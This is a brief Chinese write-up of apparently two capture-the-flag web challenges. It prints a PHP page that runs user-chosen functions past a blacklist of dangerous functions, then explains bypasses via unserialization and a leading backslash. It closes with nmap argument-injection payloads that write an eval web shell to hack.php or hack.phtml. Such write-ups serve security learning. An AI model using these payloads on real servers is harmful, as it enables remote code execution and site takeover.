F12看见提示。
后端用$a($b)
这样执行代码
尝试了一些函数。都被禁了。用file_get_contents读取下文件。得到源码
<?php
$disable_fun = array(
"exec",
"shell_exec",
"system",
"passthru",
"proc_open",
"show_source",
"phpinfo",
"popen",
"dl",
"eval",
"proc_terminate",
"touch",
"escapeshellcmd",
"escapeshellarg",
"assert",
"substr_replace",
"call_user_func_array",
"call_user_func",
"array_filter",
"array_walk",
"array_map",
"registregister_shutdown_function",
"register_tick_function",
"filter_var",
"filter_var_array",
"uasort",
"uksort",
"array_reduce",
"array_walk",
"array_walk_recursive",
"pcntl_exec",
"fopen",
"fwrite",
"file_put_contents"
);
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a = gettype($result);
if ($a == "string") {
return $result;
} else {
return "";
}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func, $disable_fun)) {
echo gettime($func, $p);
} else {
die("Hacker...");
}
}
?>
不能出现黑名单中的函数。然后回传入Test类。执行。
gettime可以忽略。就是个回调函数
他只对func进行了判断。那么我们可以通过unserialize进行反序列化。二次执行
还有就是可以通过\绕过,。\system即可绕过system的限制。
nmap
这题和buuctf Online Tools一样。
只不过他限制了php
' <?php @eval($_POST["hack"]);?> -oG hack.php '
可以将php。换为phtml。并且用短标签
' <? @eval($_POST["hack"]);?> -oG hack.phtml '